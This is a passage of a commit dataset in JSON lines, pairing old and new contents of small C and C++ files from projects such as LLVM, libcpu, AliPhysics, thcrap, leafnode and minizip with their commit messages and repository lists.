optimizer,jbarczak\/glsl-optimizer,mcanthony\/glsl-optimizer,zz85\/glsl-optimizer,mapbox\/glsl-optimizer,mcanthony\/glsl-optimizer,dellis1972\/glsl-optimizer,zz85\/glsl-optimizer,benaadams\/glsl-optimizer,dellis1972\/glsl-optimizer,djreep81\/glsl-optimizer,mcanthony\/glsl-optimizer,djreep81\/glsl-optimizer,zeux\/glsl-optimizer,jbarczak\/glsl-optimizer,zz85\/glsl-optimizer,metora\/MesaGLSLCompiler,tokyovigilante\/glsl-optimizer,wolf96\/glsl-optimizer,zeux\/glsl-optimizer,benaadams\/glsl-optimizer"}
{"commit":"cf20031f60f3a242f0cf4e0a42e115762e2948e4","old_file":"test\/FrontendC\/2009-07-15-pad-wchar_t-array.c","new_file":"test\/FrontendC\/2009-07-15-pad-wchar_t-array.c","old_contents":"\/\/ RUN: %llvmgcc -S %s -o - | llvm-as -f -o \/dev\/null\n\ntypedef int __darwin_wchar_t;\ntypedef __darwin_wchar_t wchar_t;\ntypedef signed short SQLSMALLINT;\ntypedef SQLSMALLINT SQLRETURN;\ntypedef enum\n  {\n    en_sqlstat_total\n  }\n  sqlerrmsg_t;\nSQLRETURN _iodbcdm_sqlerror( )\n{\n  wchar_t _sqlState[6] = { L\"\\0\" };\n}\n","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | llvm-as -f -o \/dev\/null\n\n#include <stddef.h>\nsigned short _iodbcdm_sqlerror( )\n{\n  wchar_t _sqlState[6] = { L\"\\0\" };\n}\n","subject":"Fix test so it works on systems where wchar_t != int.","message":"Fix test so it works on systems where wchar_t != int.\n\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@75827 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm"}
{"commit":"394a095665a5ac4f465d194b46da6bf77a340958","old_file":"ReQL.h","new_file":"ReQL.h","old_contents":"\/**\n * @author Adam Grandquist\n *\/\n\n#include \"ReQL-ast.h\"\n\n#ifndef _REQL_H\n#define _REQL_H\n\nstruct _ReQL_Conn_s {\n  int socket;\n  int error;\n  char *buf;\n};\ntypedef struct _ReQL_Conn_s _ReQL_Conn_t;\n\nstruct _ReQL_Cur_s {\n};\ntypedef struct _ReQL_Cur_s _ReQL_Cur_t;\n\nint _reql_connect(_ReQL_Conn_t *conn, unsigned char host_len, char *host, unsigned char port);\nint _reql_close_conn(_ReQL_Conn_t *conn);\n\n_ReQL_Cur_t *_reql_run(_ReQL_Op_t *query, _ReQL_Conn_t *conn, _ReQL_Op_t *kwargs);\nvoid _reql_next(_ReQL_Cur_t *cur);\nvoid _reql_close_cur(_ReQL_Cur_t *cur);\n\n#endif\n","new_contents":"\/**\n * @author Adam Grandquist\n *\/\n\n#include \"ReQL-ast.h\"\n\n#ifndef _REQL_H\n#define _REQL_H\n\nstruct _ReQL_Conn_s {\n  int socket;\n  int error;\n  char *buf;\n  unsigned int max_token;\n  struct _ReQL_Cur_s **cursor;\n};\ntypedef struct _ReQL_Conn_s _ReQL_Conn_t;\n\nstruct _ReQL_Cur_s {\n};\ntypedef struct _ReQL_Cur_s _ReQL_Cur_t;\n\nint _reql_connect(_ReQL_Conn_t *conn, unsigned char host_len, char *host, unsigned char port);\nint _reql_close_conn(_ReQL_Conn_t *conn);\n\n_ReQL_Cur_t *_reql_run(_ReQL_Op_t *query, _ReQL_Conn_t *conn, _ReQL_Op_t *kwargs);\nvoid _reql_next(_ReQL_Cur_t *cur);\nvoid _reql_close_cur(_ReQL_Cur_t *cur);\n\n#endif\n","subject":"Add token counter and cursor array to connections.","message":"Add token counter and cursor array to connections.\n","lang":"C","license":"apache-2.0","repos":"grandquista\/ReQL-Core,grandquista\/ReQL-Core,grandquista\/ReQL-Core,grandquista\/ReQL-Core"}
{"commit":"88877290116f8da110404ff96a3df8f508bc60a2","old_file":"src\/calculator\/fourier\/fourier_transform_fftw.h","new_file":"src\/calculator\/fourier\/fourier_transform_fftw.h","old_contents":"#ifndef BART_SRC_CALCULATOR_FOURIER_FOURIER_TRANSFORM_FFTW_H_\n#define BART_SRC_CALCULATOR_FOURIER_FOURIER_TRANSFORM_FFTW_H_\n\n#include \"calculator\/fourier\/fourier_transform_i.h\"\n\nnamespace bart {\n\nnamespace calculator {\n\nnamespace fourier {\n\nclass FourierTransformFFTW : public FourierTransformI {\n public:\n  FourierTransformFFTW(const int n_samples)\n  : n_samples_(n_samples) {};\n  int n_samples() const { return n_samples_; }\n private:\n  const int n_samples_{0};\n};\n\n} \/\/ namespace fourier\n\n} \/\/ namespace calculator\n\n} \/\/ namespace bart\n\n#endif \/\/BART_SRC_CALCULATOR_FOURIER_FOURIER_TRANSFORM_FFTW_H_\n","new_contents":"#ifndef BART_SRC_CALCULATOR_FOURIER_FOURIER_TRANSFORM_FFTW_H_\n#define BART_SRC_CALCULATOR_FOURIER_FOURIER_TRANSFORM_FFTW_H_\n\n#include \"calculator\/fourier\/fourier_transform_i.h\"\n\nnamespace bart {\n\nnamespace calculator {\n\nnamespace fourier {\n\nclass FourierTransformFFTW : public FourierTransformI {\n public:\n  FourierTransformFFTW(const int n_samples);\n  int n_samples() const { return n_samples_; }\n private:\n  const int n_samples_;\n};\n\n} \/\/ namespace fourier\n\n} \/\/ namespace calculator\n\n} \/\/ namespace bart\n\n#endif \/\/BART_SRC_CALCULATOR_FOURIER_FOURIER_TRANSFORM_FFTW_H_\n","subject":"Put constructor for FourierTransformFFTW in cc file.","message":"Put constructor for FourierTransformFFTW in cc file.\n","lang":"C","license":"mit","repos":"jsrehak\/BART,jsrehak\/BART"}
{"commit":"b1e795e9014c091b2dc9d997b8a292afe9780597","old_file":"libcpu\/timings.h","new_file":"libcpu\/timings.h","old_contents":"#ifndef __libcpu_timings_h\n#define __libcpu_timings_h\n\n#ifdef __MACH__\n#include <mach\/mach_time.h>\n\n#define abs_time() mach_absolute_time()\n#endif\n\n#ifdef sun\n#include <sys\/time.h>\n\n#define abs_time() gethrtime()\n#endif\n\n#ifdef linux\n#warning High precission timing currently n\/a on Linux\n\n\/\/ HACK\n#define abs_time() 0\n#endif\n\n#endif  \/* !__libcpu_timings_h *\/\n","new_contents":"#ifndef __libcpu_timings_h\n#define __libcpu_timings_h\n\n#ifdef __MACH__\n#include <mach\/mach_time.h>\n\n#define abs_time() mach_absolute_time()\n#endif\n\n#ifdef sun\n#include <sys\/time.h>\n\n#define abs_time() gethrtime()\n#endif\n\n#ifdef linux\n#warning High precission timing currently n\/a on Linux\n\n\/\/ HACK\n#define abs_time() 0\n#endif\n\n#ifdef _WIN32\ntypedef unsigned long       DWORD;\n#define WINAPI      __stdcall\nextern \"C\" DWORD WINAPI GetTickCount(void);\n#define abs_time() GetTickCount()\n#endif\n\n#endif  \/* !__libcpu_timings_h *\/\n","subject":"Make abs_time() use GetTickCount() on Windows","message":"Make abs_time() use GetTickCount() on Windows\n","lang":"C","license":"bsd-2-clause","repos":"ukatemi\/libcpu,monocasa\/libcpu,ukatemi\/libcpu,curtiszimmerman\/libcpu,curtiszimmerman\/libcpu,monocasa\/libcpu,monocasa\/libcpu,libcpu\/libcpu,libcpu\/libcpu,libcpu\/libcpu,ukatemi\/libcpu,glguida\/libcpu,libcpu\/libcpu,ukatemi\/libcpu,curtiszimmerman\/libcpu,curtiszimmerman\/libcpu,glguida\/libcpu,glguida\/libcpu,monocasa\/libcpu,glguida\/libcpu"}
{"commit":"31c42798c74f5ae31a996ea17c96ec1301876a26","old_file":"PWG3\/PWG3baseLinkDef.h","new_file":"PWG3\/PWG3baseLinkDef.h","old_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class AliQuarkoniaAcceptance+; \n#pragma link C++ class AliQuarkoniaEfficiency+; \n\n#pragma link C++ class AliD0toKpi+;\n#pragma link C++ class AliD0toKpiAnalysis+;\n#pragma link C++ class AliBtoJPSItoEle+;\n#pragma link C++ class AliBtoJPSItoEleAnalysis+;\n\n#pragma link C++ class AliAODRecoDecayHF+;\n#pragma link C++ class AliAODRecoDecayHF2Prong+;\n#pragma link C++ class AliAODRecoDecayHF3Prong+;\n#pragma link C++ class AliAODRecoDecayHF4Prong+;\n#pragma link C++ class AliAnalysisVertexingHF+;\n#pragma link C++ class AliAnalysisTaskVertexingHF+;\n\n#pragma link C++ class AliAODDimuon+;\n#pragma link C++ class AliAODEventInfo+;\n#pragma link C++ class AliAnalysisTaskMuonAODfromGeneral+;\n#pragma link C++ class AliAnalysisTaskSingleMu+;\n\n#endif\n\n\n","new_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class AliQuarkoniaAcceptance+; \n#pragma link C++ class AliQuarkoniaEfficiency+; \n\n#pragma link C++ class AliAODRecoDecayHF+;\n#pragma link C++ class AliAODRecoDecayHF2Prong+;\n#pragma link C++ class AliAODRecoDecayHF3Prong+;\n#pragma link C++ class AliAODRecoDecayHF4Prong+;\n#pragma link C++ class AliAnalysisVertexingHF+;\n#pragma link C++ class AliAnalysisTaskVertexingHF+;\n\n#pragma link C++ class AliAODDimuon+;\n#pragma link C++ class AliAODEventInfo+;\n#pragma link C++ class AliAnalysisTaskMuonAODfromGeneral+;\n#pragma link C++ class AliAnalysisTaskSingleMu+;\n\n#endif\n\n\n","subject":"Move AliD0toKpi* and AliBtoJPSI* from libPWG3base to libPWG3 (Andrea)","message":"Move AliD0toKpi* and AliBtoJPSI* from libPWG3base to libPWG3 (Andrea)\n\n","lang":"C","license":"bsd-3-clause","repos":"yowatana\/AliPhysics,akubera\/AliPhysics,rderradi\/AliPhysics,rbailhac\/AliPhysics,AMechler\/AliPhysics,adriansev\/AliPhysics,ppribeli\/AliPhysics,hcab14\/AliPhysics,pbatzing\/AliPhysics,dlodato\/AliPhysics,ALICEHLT\/AliPhysics,pbuehler\/AliPhysics,alisw\/AliPhysics,SHornung1\/AliPhysics,dstocco\/AliPhysics,hzanoli\/AliPhysics,rihanphys\/AliPhysics,mpuccio\/AliPhysics,pbuehler\/AliPhysics,sebaleh\/AliPhysics,lfeldkam\/AliPhysics,rihanphys\/AliPhysics,preghenella\/AliPhysics,alisw\/AliPhysics,mazimm\/AliPhysics,amaringarcia\/AliPhysics,pchrista\/AliPhysics,fcolamar\/AliPhysics,kreisl\/AliPhysics,pbuehler\/AliPhysics,hcab14\/AliPhysics,jgronefe\/AliPhysics,AudreyFrancisco\/AliPhysics,hcab14\/AliPhysics,dstocco\/AliPhysics,preghenella\/AliPhysics,dmuhlhei\/AliPhysics,fbellini\/AliPhysics,mbjadhav\/AliPhysics,jmargutt\/AliPhysics,fbellini\/AliPhysics,mkrzewic\/AliPhysics,mvala\/AliPhysics,hcab14\/AliPhysics,ALICEHLT\/AliPhysics,fbellini\/AliPhysics,pchrista\/AliPhysics,dlodato\/AliPhysics,victor-gonzalez\/AliPhysics,jmargutt\/AliPhysics,mpuccio\/AliPhysics,AudreyFrancisco\/AliPhysics,fbellini\/AliPhysics,fcolamar\/AliPhysics,mbjadhav\/AliPhysics,btrzecia\/AliPhysics,carstooon\/AliPhysics,jgronefe\/AliPhysics,dmuhlhei\/AliPhysics,mvala\/AliPhysics,hzanoli\/AliPhysics,AMechler\/AliPhysics,rbailhac\/AliPhysics,nschmidtALICE\/AliPhysics,pbatzing\/AliPhysics,mkrzewic\/AliPhysics,akubera\/AliPhysics,kreisl\/AliPhysics,aaniin\/AliPhysics,lfeldkam\/AliPhysics,pchrista\/AliPhysics,mazimm\/AliPhysics,victor-gonzalez\/AliPhysics,btrzecia\/AliPhysics,akubera\/AliPhysics,sebaleh\/AliPhysics,AMechler\/AliPhysics,SHornung1\/AliPhysics,mkrzewic\/AliPhysics,ppribeli\/AliPhysics,lcunquei\/AliPhysics,dmuhlhei\/AliPhysics,lfeldkam\/AliPhysics,rihanphys\/AliPhysics,alisw\/AliPhysics,amatyja\/AliPhysics,lcunquei\/AliPhysics,fbellini\/AliPhysics,AudreyFrancisco\/AliPhysics,pbatzing\/AliPhysics,pbuehler\/AliPhysics,mkrzewic\/AliPhysics,lfeldkam\/AliPhysics,mbjadhav\/AliPhysics,dstocco\/AliPhysics,dmuhlhei\/AliPhysics,kreisl\/AliPhysics,carstooon\/AliPhysics,pbatzing\/AliPhysics,mkrzewic\/AliPhysics,dlodato\/AliPhysics,preghenella\/AliPhysics,kreisl\/AliPhysics,mbjadhav\/AliPhysics,rderradi\/AliPhysics,dstocco\/AliPhysics,dlodato\/AliPhysics,AudreyFrancisco\/AliPhysics,dmuhlhei\/AliPhysics,rbailhac\/AliPhysics,ppribeli\/AliPhysics,akubera\/AliPhysics,adriansev\/AliPhysics,jmargutt\/AliPhysics,mvala\/AliPhysics,nschmidtALICE\/AliPhysics,fcolamar\/AliPhysics,rderradi\/AliPhysics,rderradi\/AliPhysics,ppribeli\/AliPhysics,carstooon\/AliPhysics,lcunquei\/AliPhysics,mpuccio\/AliPhysics,ALICEHLT\/AliPhysics,mvala\/AliPhysics,aaniin\/AliPhysics,mbjadhav\/AliPhysics,victor-gonzalez\/AliPhysics,kreisl\/AliPhysics,AMechler\/AliPhysics,hzanoli\/AliPhysics,hzanoli\/AliPhysics,hcab14\/AliPhysics,rderradi\/AliPhysics,aaniin\/AliPhysics,dstocco\/AliPhysics,akubera\/AliPhysics,mazimm\/AliPhysics,carstooon\/AliPhysics,rihanphys\/AliPhysics,amatyja\/AliPhysics,sebaleh\/AliPhysics,pchrista\/AliPhysics,akubera\/AliPhysics,adriansev\/AliPhysics,amatyja\/AliPhysics,alisw\/AliPhysics,pbatzing\/AliPhysics,yowatana\/AliPhysics,mvala\/AliPhysics,aaniin\/AliPhysics,AudreyFrancisco\/AliPhysics,sebaleh\/AliPhysics,AMechler\/AliPhysics,hcab14\/AliPhysics,aaniin\/AliPhysics,hzanoli\/AliPhysics,pbuehler\/AliPhysics,carstooon\/AliPhysics,yowatana\/AliPhysics,mkrzewic\/AliPhysics,nschmidtALICE\/AliPhysics,btrzecia\/AliPhysics,AMechler\/AliPhysics,SHornung1\/AliPhysics,lcunquei\/AliPhysics,mpuccio\/AliPhysics,nschmidtALICE\/AliPhysics,rbailhac\/AliPhysics,amaringarcia\/AliPhysics,SHornung1\/AliPhysics,aaniin\/AliPhysics,fcolamar\/AliPhysics,lfeldkam\/AliPhysics,adriansev\/AliPhysics,mkrzewic\/AliPhysics,btrzecia\/AliPhysics,jgronefe\/AliPhysics,fcolamar\/AliPhysics,pbatzing\/AliPhysics,lfeldkam\/AliPhysics,yowatana\/AliPhysics,mazimm\/AliPhysics,pchrista\/AliPhysics,rderradi\/AliPhysics,SHornung1\/AliPhysics,fbellini\/AliPhysics,mvala\/AliPhysics,aaniin\/AliPhysics,yowatana\/AliPhysics,ALICEHLT\/AliPhysics,mpuccio\/AliPhysics,fcolamar\/AliPhysics,rihanphys\/AliPhysics,carstooon\/AliPhysics,mvala\/AliPhysics,pbuehler\/AliPhysics,lcunquei\/AliPhysics,dlodato\/AliPhysics,hzanoli\/AliPhysics,amatyja\/AliPhysics,amatyja\/AliPhysics,dlodato\/AliPhysics,adriansev\/AliPhysics,jmargutt\/AliPhysics,ALICEHLT\/AliPhysics,mpuccio\/AliPhysics,AudreyFrancisco\/AliPhysics,mazimm\/AliPhysics,alisw\/AliPhysics,kreisl\/AliPhysics,SHornung1\/AliPhysics,lcunquei\/AliPhysics,rbailhac\/AliPhysics,nschmidtALICE\/AliPhysics,yowatana\/AliPhysics,amaringarcia\/AliPhysics,jmargutt\/AliPhysics,preghenella\/AliPhysics,pbatzing\/AliPhysics,dmuhlhei\/AliPhysics,adriansev\/AliPhysics,preghenella\/AliPhysics,sebaleh\/AliPhysics,victor-gonzalez\/AliPhysics,dstocco\/AliPhysics,preghenella\/AliPhysics,lfeldkam\/AliPhysics,ppribeli\/AliPhysics,nschmidtALICE\/AliPhysics,akubera\/AliPhysics,mbjadhav\/AliPhysics,SHornung1\/AliPhysics,amatyja\/AliPhysics,amaringarcia\/AliPhysics,ppribeli\/AliPhysics,mazimm\/AliPhysics,mbjadhav\/AliPhysics,alisw\/AliPhysics,jmargutt\/AliPhysics,AudreyFrancisco\/AliPhysics,rihanphys\/AliPhysics,victor-gonzalez\/AliPhysics,jgronefe\/AliPhysics,nschmidtALICE\/AliPhysics,ALICEHLT\/AliPhysics,fcolamar\/AliPhysics,AMechler\/AliPhysics,rderradi\/AliPhysics,mpuccio\/AliPhysics,dstocco\/AliPhysics,ALICEHLT\/AliPhysics,pbuehler\/AliPhysics,lcunquei\/AliPhysics,hcab14\/AliPhysics,alisw\/AliPhysics,sebaleh\/AliPhysics,hzanoli\/AliPhysics,amatyja\/AliPhysics,sebaleh\/AliPhysics,carstooon\/AliPhysics,pchrista\/AliPhysics,rbailhac\/AliPhysics,amaringarcia\/AliPhysics,preghenella\/AliPhysics,btrzecia\/AliPhysics,btrzecia\/AliPhysics,fbellini\/AliPhysics,jgronefe\/AliPhysics,dlodato\/AliPhysics,yowatana\/AliPhysics,ppribeli\/AliPhysics,victor-gonzalez\/AliPhysics,jgronefe\/AliPhysics,mazimm\/AliPhysics,amaringarcia\/AliPhysics,rihanphys\/AliPhysics,jmargutt\/AliPhysics,jgronefe\/AliPhysics,kreisl\/AliPhysics,adriansev\/AliPhysics,dmuhlhei\/AliPhysics,amaringarcia\/AliPhysics,rbailhac\/AliPhysics,pchrista\/AliPhysics,victor-gonzalez\/AliPhysics,btrzecia\/AliPhysics"}
{"commit":"9796e4cc76c93344578a8fbed88feb6c552d7ba4","old_file":"thcrap\/src\/global.c","new_file":"thcrap\/src\/global.c","old_contents":"\/**\n  * Touhou Community Reliant Automatic Patcher\n  * Main DLL\n  *\n  * ----\n  *\n  * Globals, compile-time constants and runconfig abstractions.\n  *\/\n\n#include \"thcrap.h\"\n\nCRITICAL_SECTION cs_file_access;\njson_t* run_cfg = NULL;\n\nconst char* PROJECT_NAME(void)\n{\n\treturn \"Touhou Community Reliant Automatic Patcher\";\n}\nconst char* PROJECT_NAME_SHORT(void)\n{\n\treturn \"thcrap\";\n}\nconst DWORD PROJECT_VERSION(void)\n{\n\treturn 0x20131025;\n}\nconst char* PROJECT_VERSION_STRING(void)\n{\n\tstatic char ver_str[11] = {0};\n\tif(!ver_str[0]) {\n\t\tstr_hexdate_format(ver_str, PROJECT_VERSION());\n\t}\n\treturn ver_str;\n}\njson_t* runconfig_get(void)\n{\n\treturn run_cfg;\n}\nvoid runconfig_set(json_t *new_run_cfg)\n{\n\trun_cfg = new_run_cfg;\n}\n\nvoid* runconfig_func_get(const char *name)\n{\n\tjson_t *funcs = json_object_get(run_cfg, \"funcs\");\n\treturn (void*)json_object_get_hex(funcs, name);\n}\n","new_contents":"\/**\n  * Touhou Community Reliant Automatic Patcher\n  * Main DLL\n  *\n  * ----\n  *\n  * Globals, compile-time constants and runconfig abstractions.\n  *\/\n\n#include \"thcrap.h\"\n\nCRITICAL_SECTION cs_file_access;\njson_t* run_cfg = NULL;\n\nconst char* PROJECT_NAME(void)\n{\n\treturn \"Touhou Community Reliant Automatic Patcher\";\n}\nconst char* PROJECT_NAME_SHORT(void)\n{\n\treturn \"thcrap\";\n}\nconst DWORD PROJECT_VERSION(void)\n{\n\treturn 0x20131025;\n}\nconst char* PROJECT_VERSION_STRING(void)\n{\n\tstatic char ver_str[11] = {0};\n\tif(!ver_str[0]) {\n\t\tstr_hexdate_format(ver_str, PROJECT_VERSION());\n\t}\n\treturn ver_str;\n}\njson_t* runconfig_get(void)\n{\n\treturn run_cfg;\n}\nvoid runconfig_set(json_t *new_run_cfg)\n{\n\trun_cfg = new_run_cfg;\n\tjson_incref(run_cfg);\n}\n\nvoid* runconfig_func_get(const char *name)\n{\n\tjson_t *funcs = json_object_get(run_cfg, \"funcs\");\n\treturn (void*)json_object_get_hex(funcs, name);\n}\n","subject":"Increment the run configuration's reference counter.","message":"runconfig_set(): Increment the run configuration's reference counter.\n\nFixes bug #41 (https:\/\/bitbucket.org\/nmlgc\/thpatch-bugs\/issue\/41).\n","lang":"C","license":"unlicense","repos":"thpatch\/thcrap,VBChunguk\/thcrap,thpatch\/thcrap,thpatch\/thcrap,VBChunguk\/thcrap,thpatch\/thcrap,VBChunguk\/thcrap,thpatch\/thcrap"}
{"commit":"04743587bbbf4330680ca61ef7ab4392df3529de","old_file":"leafnode-version.c","new_file":"leafnode-version.c","old_contents":"\/*\n * (C) 2001 by Matthias Andree\n *\/\n\n\/*\n * This file (leafnode-version.c) is public domain. It comes without and\n * express or implied warranties. Do with this file whatever you wish, but\n * don't remove the disclaimer.\n *\/\n\n#include <stdio.h>\n#include \"leafnode.h\"\n\n#ifdef WITH_DMALLOC\n#include <dmalloc.h>\n#endif\n\n#include \"config.h\"\n\nint\nmain(void)\n{\n    static char env_path[] = \"PATH=\/bin:\/usr\/bin\";\n    \/* ------------------------------------------------ *\/\n    \/* *** IMPORTANT ***\n     * \n     * external tools depend on the first line of this output, which is\n     * in the fixed format\n     * version: leafnode-2.3.4...\n     *\/\n    fputs(\"version: leafnode-\", stdout);\n    puts(version);\n    \/* changable parts below :-) *\/\n    fputs(\"current machine: \", stdout);\n    fflush(stdout);\n    putenv(env_path);\n    if (system(\"uname -a\"))\n\tputs(\" (error)\");\n    fputs(\"bindir: \", stdout);\n    puts(bindir);\n    fputs(\"sysconfdir: \", stdout);\n    puts(sysconfdir);\n    fputs(\"spooldir: \", stdout);\n    puts(spooldir);\n    fputs(\"lockfile: \", stdout);\n    puts(lockfile);\n#ifdef HAVE_IPV6\n    puts(\"IPv6: yes\");\n#else\n    puts(\"IPv6: no\");\n#endif\n    fputs(\"default MTA: \", stdout);\n    puts(DEFAULTMTA);\n    exit(0);\n}\n","new_contents":"\/*\n * (C) 2001 by Matthias Andree\n *\/\n\n\/*\n * This file (leafnode-version.c) is public domain. It comes without and\n * express or implied warranties. Do with this file whatever you wish, but\n * don't remove the disclaimer.\n *\/\n\n#include <stdio.h>\n#include \"leafnode.h\"\n\n#ifdef WITH_DMALLOC\n#include <dmalloc.h>\n#endif\n\n#include \"config.h\"\n\nint\nmain(void)\n{\n    static char env_path[] = \"PATH=\/bin:\/usr\/bin\";\n    \/* ------------------------------------------------ *\/\n    \/* *** IMPORTANT ***\n     * \n     * external tools depend on the first line of this output, which is\n     * in the fixed format\n     * version: leafnode-2.3.4...\n     *\/\n    fputs(\"version: leafnode-\", stdout);\n    puts(version);\n    \/* changable parts below :-) *\/\n    fputs(\"current machine: \", stdout);\n    fflush(stdout);\n    putenv(env_path);\n    if (system(\"uname -a\"))\n\tputs(\" (error)\");\n    fputs(\"bindir: \", stdout);\n    puts(bindir);\n    fputs(\"sysconfdir: \", stdout);\n    puts(sysconfdir);\n    fputs(\"default spooldir: \", stdout);\n    puts(def_spooldir);\n#ifdef HAVE_IPV6\n    puts(\"IPv6: yes\");\n#else\n    puts(\"IPv6: no\");\n#endif\n    fputs(\"default MTA: \", stdout);\n    puts(DEFAULTMTA);\n    exit(0);\n}\n","subject":"Fix up the spooldir\/lockfile changes that caused a segfault.","message":"Fix up the spooldir\/lockfile changes that caused a segfault.","lang":"C","license":"lgpl-2.1","repos":"BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode"}
{"commit":"c45c927b2776def13b062707fff08974ddb4c920","old_file":"motor_shield.h","new_file":"motor_shield.h","old_contents":"#include \"Arduino.h\"\n\nclass MotorShield\n{\n  public:\n    MotorShield(uint8_t speedPinLeft, uint8_t dirPinLeft,\n        uint8_t speedPinRight, uint8_t dirPinRight);\n    void init();\n    void forward();\n    void backward();\n    void stop();\n    void fullSpeed();\n    void stopLeft();\n    void stopRight();\n  private:\n    int speedPinLeft,\n        dirPinLeft,\n        speedPinRight,\n        dirPinRight,\n        maxSpeed,\n        minSpeed;\n};\n","new_contents":"#include \"Arduino.h\"\n\nclass MotorShield\n{\n  public:\n    MotorShield(uint8_t speedPinLeft, uint8_t dirPinLeft,\n        uint8_t speedPinRight, uint8_t dirPinRight);\n    void init();\n    void forward();\n    void backward();\n    void stop();\n    void fullSpeed();\n    void stopLeft();\n    void stopRight();\n  private:\n    uint8_t speedPinLeft,\n            dirPinLeft,\n            speedPinRight,\n            dirPinRight,\n            maxSpeed,\n            minSpeed;\n};\n","subject":"Change var types to the same type that constructor expects","message":"Change var types to the same type that constructor expects\n","lang":"C","license":"mit","repos":"lenon\/arduino-motorshield"}
{"commit":"0458bbf2c0cbc41ff06c4db3da0f63ab0785d801","old_file":"contrib\/minizip\/mztools.h","new_file":"contrib\/minizip\/mztools.h","old_contents":"\/*\n  Additional tools for Minizip\n  Code: Xavier Roche '2004\n  License: Same as ZLIB (www.gzip.org)\n*\/\n\n#ifndef _zip_tools_H\n#define _zip_tools_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef _ZLIB_H\n#include \"zlib.h\"\n#endif\n\n#include \"unzip.h\"\n\n\/* Repair a ZIP file (missing central directory)\n   file: file to recover\n   fileOut: output file after recovery\n   fileOutTmp: temporary file name used for recovery\n*\/\nextern int ZEXPORT unzRepair(const char* file,\n                             const char* fileOut,\n                             const char* fileOutTmp,\n                             uLong* nRecovered,\n                             uLong* bytesRecovered);\n\n#endif\n","new_contents":"\/*\n  Additional tools for Minizip\n  Code: Xavier Roche '2004\n  License: Same as ZLIB (www.gzip.org)\n*\/\n\n#ifndef _zip_tools_H\n#define _zip_tools_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef _ZLIB_H\n#include \"zlib.h\"\n#endif\n\n#include \"unzip.h\"\n\n\/* Repair a ZIP file (missing central directory)\n   file: file to recover\n   fileOut: output file after recovery\n   fileOutTmp: temporary file name used for recovery\n*\/\nextern int ZEXPORT unzRepair(const char* file,\n                             const char* fileOut,\n                             const char* fileOutTmp,\n                             uLong* nRecovered,\n                             uLong* bytesRecovered);\n\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif\n","subject":"Fix bug when compiling minizip with C++ [Vollant].","message":"Fix bug when compiling minizip with C++ [Vollant].\n","lang":"C","license":"mit","repos":"Streamlet\/ZLibWrap,Streamlet\/ZLibWrap,Streamlet\/ZLibWrap,Streamlet\/ZLibWrap,Streamlet\/ZLibWrap"}
{"commit":"9be6b4140cba2680fabcce7c030b531eca5a56a6","old_file":"src\/kernel\/exceptions.h","new_file":"src\/kernel\/exceptions.h","old_contents":"\/**\n *  \\file\n *  \\remark This file is part of VITA.\n *\n *  \\copyright Copyright (C) 2018 EOS di Manlio Morini.\n *\n *  \\license\n *  This Source Code Form is subject to the terms of the Mozilla Public\n *  License, v. 2.0. If a copy of the MPL was not distributed with this file,\n *  You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n *\/\n\n#if !defined(VITA_EXCEPTIONS_H)\n#define      VITA_EXCEPTIONS_H\n\n#include <stdexcept>\n\nnamespace vita\n{\n\n\/\/\/\n\/\/\/ Groups the custom exceptions used in Vita.\n\/\/\/\n\/\/\/ There is a separate header because one can ignore custom exception types\n\/\/\/ (since they are descendants of `std::exception`) in general case, but can\n\/\/\/ alss explicitly include the header and deal with custom exceptions if\n\/\/\/ necessary.\n\/\/\/\nnamespace exception\n{\n\nclass data_format : public std::runtime_error\n{ using std::runtime_error::runtime_error; };\nclass insufficient_data : public std::logic_error\n{ using std::logic_error::logic_error; };\n\n}  \/\/ namespace exception\n\n}  \/\/ namespace vita\n\n#endif  \/\/ include guard\n","new_contents":"\/**\n *  \\file\n *  \\remark This file is part of VITA.\n *\n *  \\copyright Copyright (C) 2018 EOS di Manlio Morini.\n *\n *  \\license\n *  This Source Code Form is subject to the terms of the Mozilla Public\n *  License, v. 2.0. If a copy of the MPL was not distributed with this file,\n *  You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n *\/\n\n#if !defined(VITA_EXCEPTIONS_H)\n#define      VITA_EXCEPTIONS_H\n\n#include <stdexcept>\n\nnamespace vita\n{\n\n\/\/\/\n\/\/\/ Groups the custom exceptions used in Vita.\n\/\/\/\n\/\/\/ There is a separate header because one can ignore custom exception types\n\/\/\/ (since they are descendants of `std::exception`) in general case, but can\n\/\/\/ also explicitly include the header and deal with custom exceptions if\n\/\/\/ necessary.\n\/\/\/\nnamespace exception\n{\n\nclass data_format : public std::runtime_error\n{ using std::runtime_error::runtime_error; };\nclass insufficient_data : public std::logic_error\n{ using std::logic_error::logic_error; };\n\n}  \/\/ namespace exception\n\n}  \/\/ namespace vita\n\n#endif  \/\/ include guard\n","subject":"Fix a typo in remark","message":"[DOC] Fix a typo in 